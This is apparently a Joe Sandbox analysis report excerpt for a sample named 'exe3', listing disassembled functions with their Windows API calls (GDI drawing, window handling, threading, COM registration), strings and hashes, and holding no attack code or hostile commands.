Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ClipboardFormatRegister$LongMessageSendValueWindow
String ID: commdlg_ColorOK$commdlg_FileNameOK$commdlg_LBSelChangedNotify$commdlg_SetRGBColor$commdlg_ShareViolation$commdlg_help
API String ID: 3913284445-3888057576
Opcode ID: 09ffbab790bd83792ef1ec6f88bde302701ef672f0b36ac20181bb18a39d1cd6
Instruction ID: 447e8edf4d36424e1a9f8867a62848cdd3900e682d749d2906e26e176c96bf8c
Opcode Fuzzy Hash: 09ffbab790bd83792ef1ec6f88bde302701ef672f0b36ac20181bb18a39d1cd6
Instruction Fuzzy Hash: B0416A71600204ABDF25AF69DC48BBE7BE1FB65750F50042FE946572A0DF789840CBAA

Function 00451B80 Relevance: 22.8, APIs: 15, Instructions: 255windowCOMMON

Download Yara Rule

APIs

CopyRect.USER32(?,?), ref: 00451BB6

Part of subcall function 004B0CA8: __EH_prolog.LIBCMT ref: 004B0CAD
Part of subcall function 004B0CA8: CreateSolidBrush.GDI32(?), ref: 004B0CCA

FillRect.USER32(?,?,00000000), ref: 00451BF4
GetSystemMetrics.USER32(0000002E), ref: 00451C1D
GetSystemMetrics.USER32(0000002D), ref: 00451C23
DrawFrameControl.USER32(?,?,00000003,?), ref: 00451C96
DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00451CA9
InflateRect.USER32(?,00FFFFFD,00000001), ref: 00451CC4
GetSysColor.USER32(0000000F), ref: 00451CE8
Rectangle.GDI32(?,?,?,?,?), ref: 00451D3B
OffsetRect.USER32(?,00000001,00000001), ref: 00451DA5
GetSysColor.USER32(00000014), ref: 00451DAB
OffsetRect.USER32(?,000000FF,000000FF), ref: 00451DD3
GetSysColor.USER32(00000010), ref: 00451DD9
InflateRect.USER32(?,000000FF,000000FF), ref: 00451E22
DrawFocusRect.USER32(?,?), ref: 00451E31

Part of subcall function 004AC348: GetWindowTextLengthA.USER32(?), ref: 004AC355
Part of subcall function 004AC348: GetWindowTextA.USER32(?,00000000,00000000), ref: 004AC36D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$ColorDraw$InflateMetricsOffsetSystemTextWindow$BrushControlCopyCreateEdgeFillFocusFrameH_prologLengthRectangleSolid
String ID:
API String ID: 4239342997-0
Opcode ID: 43d717a0f7a9edfdd8fe5281959db2fc30cf68c16814ce679a8cbc615eb45a5c
Instruction ID: 3b313b597f1a81624167d854fb9c1a1488075bd7e9fae04688949ea282d9f700
Opcode Fuzzy Hash: 43d717a0f7a9edfdd8fe5281959db2fc30cf68c16814ce679a8cbc615eb45a5c
Instruction Fuzzy Hash: 61A18C71208345AFC714DF64C889A6BBBE8FF88714F004A1DFA9587391DBB4E909CB56

Function 004254D0 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 430COMMON

Download Yara Rule

APIs

Part of subcall function 004B0AAB: __EH_prolog.LIBCMT ref: 004B0AB0
Part of subcall function 004B0AAB: BeginPaint.USER32(?,?,?,?,00424FE9), ref: 004B0AD9

Part of subcall function 004B065C: GetClipBox.GDI32(?,?), ref: 004B0663

IsRectEmpty.USER32(?), ref: 00425517
GetClientRect.USER32(?,?), ref: 0042552F
InflateRect.USER32(?,?,?), ref: 004255ED
IntersectRect.USER32(?,?,?), ref: 00425657
CreateRectRgn.GDI32(?,?,?,?), ref: 00425671
FillRgn.GDI32(?,?,?), ref: 00425830
GetCurrentObject.GDI32(?,00000006), ref: 004258AF

Part of subcall function 004B0203: GetStockObject.GDI32(?), ref: 004B020C
Part of subcall function 004B0203: SelectObject.GDI32(?,00000000), ref: 004B0226
Part of subcall function 004B0203: SelectObject.GDI32(?,00000000), ref: 004B0231

OffsetRect.USER32(?,00000001,00000001), ref: 0042598D
OffsetRect.USER32(?,00000002,00000002), ref: 00425A21
OffsetRect.USER32(?,00000001,00000001), ref: 004259D4

Part of subcall function 004B03D3: SetTextColor.GDI32(?,?), ref: 004B03ED
Part of subcall function 004B03D3: SetTextColor.GDI32(?,?), ref: 004B03FB

Strings

ETERMINATOR, xrefs: 0042559A, 00425769
@B, xrefs: 004255F3, 004257A6

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Object$Offset$ColorSelectText$BeginClientClipCreateCurrentEmptyFillH_prologInflateIntersectPaintStock
String ID: @B$ETERMINATOR
API String ID: 4264835570-3452843033
Opcode ID: 4f0433107bfba0daa55625b13bddf5df2ae5d521d47605670ec14777d98b1133
Instruction ID: f06ac120e8f9d4328032e7febab4c5b9a3231b41d4bbdb044ac11011dccabf4f
Opcode Fuzzy Hash: 4f0433107bfba0daa55625b13bddf5df2ae5d521d47605670ec14777d98b1133
Instruction Fuzzy Hash: 9D025A71608780DFC324DF65D884AABB7E9BBD8304F804D1EF19687290DB78E945CB66

Function 00456640 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 331threadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004567AB
CreateSemaphoreA.KERNEL32(00000000,00000014,00000014,00000000), ref: 004567C0
RtlInitializeCriticalSection.NTDLL(?), ref: 004567EB
CreateThread.KERNEL32(00000000,00000000,00456A20,?,00000004,?), ref: 00456820
RtlEnterCriticalSection.NTDLL(00CD8540), ref: 00456832
RtlLeaveCriticalSection.NTDLL(00CD8540), ref: 004569E5
ResumeThread.KERNEL32(?), ref: 004569F3
ReleaseSemaphore.KERNEL32(?,00000014,00000000), ref: 00456A05

Strings

fmt , xrefs: 004566C4
RIFF, xrefs: 00456654, 00456668
data, xrefs: 004566E5
WAVE, xrefs: 00456681, 00456698

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$SemaphoreThread$EnterEventInitializeLeaveReleaseResume
String ID: RIFF$WAVE$data$fmt
API String ID: 1802393137-4212202414
Opcode ID: 635f64a2bdaf2ed1eb48ac52bbb0d8d9a9e6e54a779caf5e1360a66010ddbd78
Instruction ID: 9d5cd9d61393381222dd0aaa3f0b147a561c1a81dc54d907946a5d3e0ba6627a
Opcode Fuzzy Hash: 635f64a2bdaf2ed1eb48ac52bbb0d8d9a9e6e54a779caf5e1360a66010ddbd78
Instruction Fuzzy Hash: 01B1F3B16003005BD714DF28DC41B2B73E5FB88319F454A2EFE4697392EA78ED098B99

Function 0044C080 Relevance: 19.8, APIs: 13, Instructions: 320windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 0044C09E
SetCapture.USER32(?,?,?,?,?,?,?,?,?,004B7068,000000FF,0044B8DD,?,?,?,?), ref: 0044C0BB

Part of subcall function 004B0943: __EH_prolog.LIBCMT ref: 004B0948
Part of subcall function 004B0943: 73E9A570.USER32(00000000,-00000014,?,004391EF,00000000,-00000014,?,?,?,?,?,?,00431770,?,0000001C), ref: 004B0971

Part of subcall function 0045EC30: GetWindowExtEx.GDI32(?,?), ref: 0045EC53

Part of subcall function 004B0871: GetWindowExtEx.GDI32(?,?), ref: 004B0882
Part of subcall function 004B0871: GetViewportExtEx.GDI32(?,?), ref: 004B088F
Part of subcall function 004B0871: MulDiv.KERNEL32(?,00000000,00000000), ref: 004B08B4
Part of subcall function 004B0871: MulDiv.KERNEL32(?,00000000,00000000), ref: 004B08CF

Part of subcall function 004B0402: SetMapMode.GDI32(?,?), ref: 004B041B
Part of subcall function 004B0402: SetMapMode.GDI32(?,?), ref: 004B0429

Part of subcall function 004B0377: SetROP2.GDI32(?,?), ref: 004B0390
Part of subcall function 004B0377: SetROP2.GDI32(?,?), ref: 004B039E

Part of subcall function 004B031B: SetBkMode.GDI32(?,?), ref: 004B0334
Part of subcall function 004B031B: SetBkMode.GDI32(?,?), ref: 004B0342

Part of subcall function 004B0C58: __EH_prolog.LIBCMT ref: 004B0C5D
Part of subcall function 004B0C58: CreatePen.GDI32(?,?,?), ref: 004B0C80

Part of subcall function 004B023F: SelectObject.GDI32(?,00000000), ref: 004B0261
Part of subcall function 004B023F: SelectObject.GDI32(?,?), ref: 004B0277

GetCapture.USER32 ref: 0044C181
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0044C1A0
DispatchMessageA.USER32(?), ref: 0044C1E1
DispatchMessageA.USER32(?), ref: 0044C1FD
ScreenToClient.USER32(?,?), ref: 0044C244
GetCapture.USER32 ref: 0044C26C
ReleaseCapture.USER32 ref: 0044C294
ReleaseCapture.USER32 ref: 0044C2F0
DPtoLP.GDI32 ref: 0044C334
InvalidateRect.USER32(?,00000000,00000000,?,00000000,?,?,?,00000000,?,?,?), ref: 0044C3BD
InvalidateRect.USER32(?,00000000,00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0044C44B

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Capture$Mode$Message$DispatchH_prologInvalidateObjectRectReleaseSelectWindow$A570ClientCreateScreenViewport
String ID:
API String ID: 3758146536-0
Opcode ID: bb2474acc8cb504c86dfd89cf4772b50c21de790ed901da0143b5ff3002bc1d7
Instruction ID: 6c63c2a2e3d68be1e3c37b7707fe562c56bc655b77d266c53d0b38197600622d
Opcode Fuzzy Hash: bb2474acc8cb504c86dfd89cf4772b50c21de790ed901da0143b5ff3002bc1d7
Instruction Fuzzy Hash: E6B1D671204700AFE354EB65C895E6FB7E9BF84704F144A1EF25283291DB78ED05CB6A

Function 004366E0 Relevance: 19.7, APIs: 13, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0043672A

Part of subcall function 004AE37A: IsWindowEnabled.USER32(?), ref: 004AE384

IsWindow.USER32(?), ref: 004367CB
GetParent.USER32(?), ref: 004367E6
IsWindowVisible.USER32(?), ref: 004367FA
SetActiveWindow.USER32(?), ref: 0043681B
IsWindow.USER32(?), ref: 00436838
UpdateWindow.USER32(?), ref: 00436846
IsWindow.USER32(?), ref: 0043684D
IsWindow.USER32(?), ref: 004368A8
IsWindow.USER32(?), ref: 00436902
GetFocus.USER32 ref: 00436916
IsWindow.USER32(00000000), ref: 00436923
IsChild.USER32(?,00000000), ref: 00436932

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$Parent$ActiveChildEnabledFocusUpdateVisible
String ID:
API String ID: 983273251-0
Opcode ID: 2af70734a43e1c10adaa63c216fdff19849982d41ef2902df7ac04ce6cb4f900
Instruction ID: d58d4a576c40495804c9ee1eaeadc517897a16df6b1586f11582ca8024c33a6a
Opcode Fuzzy Hash: 2af70734a43e1c10adaa63c216fdff19849982d41ef2902df7ac04ce6cb4f900
Instruction Fuzzy Hash: EE51A4B1605306ABC724EF65D840A6FBBE8FF58344F11962FF94597210DB38E840CBA9

Function 00596D07 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00596D4F
_free.LIBCMT ref: 00596D73
_free.LIBCMT ref: 00596D80
_free.LIBCMT ref: 00596DA5
_free.LIBCMT ref: 00596DB2
_free.LIBCMT ref: 00596DBB
_free.LIBCMT ref: 00597099
_free.LIBCMT ref: 005970A1

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d68b80d154ffbf7a33ff492149ae960acf04111a1f6cf8d8b26d23e7141ab1c5
Instruction ID: 9ef75d8b74ddcdd80d7a3784c6902aedec4b9c656d7c1768f9211a595f35a03a
Opcode Fuzzy Hash: d68b80d154ffbf7a33ff492149ae960acf04111a1f6cf8d8b26d23e7141ab1c5
Instruction Fuzzy Hash: 4FC11572D40209ABDF20DBA8CC46FEE7BF8BB48700F544565FA45FB282D6709D459B60

Function 0043E870 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 405COMMON

Download Yara Rule

APIs

InflateRect.USER32(?,?,?), ref: 0043E916

Part of subcall function 0043E640: SetRect.USER32(?,00000000,00000032,00000032,?), ref: 0043E729
Part of subcall function 0043E640: OffsetRect.USER32(?,?,?), ref: 0043E736
Part of subcall function 0043E640: IntersectRect.USER32(?,?,?), ref: 0043E752
Part of subcall function 0043E640: IsRectEmpty.USER32(?), ref: 0043E75D

InflateRect.USER32(?,?,?), ref: 0043E989
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 0043EB8D
GetClipRgn.GDI32(?,00000000), ref: 0043EB9C
CreatePolygonRgn.GDI32 ref: 0043EC1A
SelectClipRgn.GDI32(?,?), ref: 0043ECFD
CreatePolygonRgn.GDI32(?,00000005,00000002), ref: 0043ED20
SelectClipRgn.GDI32(?,?), ref: 0043EDA1
DeleteObject.GDI32(?), ref: 0043EDB7

Strings

gfff, xrefs: 0043EA7D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$ClipCreate$InflatePolygonSelect$DeleteEmptyIntersectObjectOffset
String ID: gfff
API String ID: 1105800552-1553575800
Opcode ID: 1c2c22364be495f6156e9df8cad1f2d1028f9d9ae4ac7b6dbf8102d2bd9444e2
Instruction ID: 640ec4b03f6c4cb59e39bd6472a1c4c96f274e5cd91465f92741c829c80bc639
Opcode Fuzzy Hash: 1c2c22364be495f6156e9df8cad1f2d1028f9d9ae4ac7b6dbf8102d2bd9444e2
Instruction Fuzzy Hash: 6DF127B06083419FD324DF19C881B6BFBE5BBC8704F148A1EF99987391E774A905CB56

Function 004302A0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 310libraryregistryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,00000000,00CD7AC0,00000000), ref: 00430384
LoadLibraryA.KERNEL32(?,00000000,00000000,00000000,?,?,00BEACB0,?,?,?,?,?,?,00000000,00CD7AC0,00000000), ref: 004303C1
GetProcAddress.KERNEL32(00000000,DllRegisterServer), ref: 004303F7
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,00000000,00CD7AC0,00000000), ref: 00430402
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,00000000,00CD7AC0,00000000), ref: 00430410
LoadTypeLib.OLEAUT32(00000000,00000000), ref: 0043051D
RegisterTypeLib.OLEAUT32(00000000,00000000), ref: 00430552
UnRegisterTypeLib.OLEAUT32(?,00000000,00000000,00000000,00000001), ref: 00430633

Strings

DllUnregisterServer, xrefs: 004303F0, 004303F5
DllRegisterServer, xrefs: 004303E9

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Library$LoadType$FreeRegister$AddressProc
String ID: DllRegisterServer$DllUnregisterServer
API String ID: 3854050662-2931954178
Opcode ID: 6425028dfcf4da5d10e34b845aebfcb6084030e589db2bd99532c16089a2c9fd
Instruction ID: 0e2595356d8f0f14a1269790dcbfbef717a2e07529fd3de2978d1db414347d0c
Opcode Fuzzy Hash: 6425028dfcf4da5d10e34b845aebfcb6084030e589db2bd99532c16089a2c9fd
Instruction Fuzzy Hash: 0DB1D2B1900249ABDB10DFA4C855FEFB7B8EF18318F14465EF815A7281DB389E05CBA5

Function 00425B80 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMON

Download Yara Rule

APIs

Part of subcall function 0043F290: SelectObject.GDI32(00000000,?), ref: 0043F346
Part of subcall function 0043F290: SelectObject.GDI32(?,00000000), ref: 0043F369
Part of subcall function 0043F290: SelectObject.GDI32(00000000,?), ref: 0043F395
Part of subcall function 0043F290: DeleteDC.GDI32(00000000), ref: 0043F3A2
Part of subcall function 0043F290: SelectObject.GDI32(?,?), ref: 0043F3AA
Part of subcall function 0043F290: DeleteDC.GDI32(?), ref: 0043F3B1

__ftol.LIBCMT ref: 00425CA5
__ftol.LIBCMT ref: 00425CB2
CreateRectRgn.GDI32(00000000,?,00000000,?), ref: 00425D24
CombineRgn.GDI32(?,?,00BD5200,00000004), ref: 00425D4A
SetRect.USER32(?,00000000,?,?,?), ref: 00425D96
IntersectRect.USER32(?,?,?), ref: 00425DAE
IsRectEmpty.USER32(?), ref: 00425DD9
CreateRectRgn.GDI32(00000000,?,?,00000000), ref: 00425E7E
CombineRgn.GDI32(?,?,00BD5200,00000004), ref: 00425EA4

Strings

ETERMINATOR, xrefs: 00425CDE, 00425DE3, 00425E3A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$ObjectSelect$CombineCreateDelete__ftol$EmptyIntersect
String ID: ETERMINATOR
API String ID: 1957208593-2947605395
Opcode ID: b7772d104ce4e98b3d85daff66a36a43670531edd7fbfe439d312df893940b49
Instruction ID: 28b082a78cf2db32994f2261c87602e1ff1f4bfa070a2319a4b97b406fd7e606
Opcode Fuzzy Hash: b7772d104ce4e98b3d85daff66a36a43670531edd7fbfe439d312df893940b49
Instruction Fuzzy Hash: FCA17A716087419BC324CF29C884A5BBBE9FBC8344F508A2DF59587290EB74E948CB56

Function 00454020 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0045404E
FillRect.USER32(?,?,00000000), ref: 004540AE
FillRect.USER32(?,?,00000000), ref: 0045411E

Part of subcall function 004B0CA8: __EH_prolog.LIBCMT ref: 004B0CAD
Part of subcall function 004B0CA8: CreateSolidBrush.GDI32(?), ref: 004B0CCA

FillRect.USER32(?,?,00000000), ref: 00454195
SelectObject.GDI32(00000000,?), ref: 004541D3
SetStretchBltMode.GDI32(?,00000000), ref: 00454205
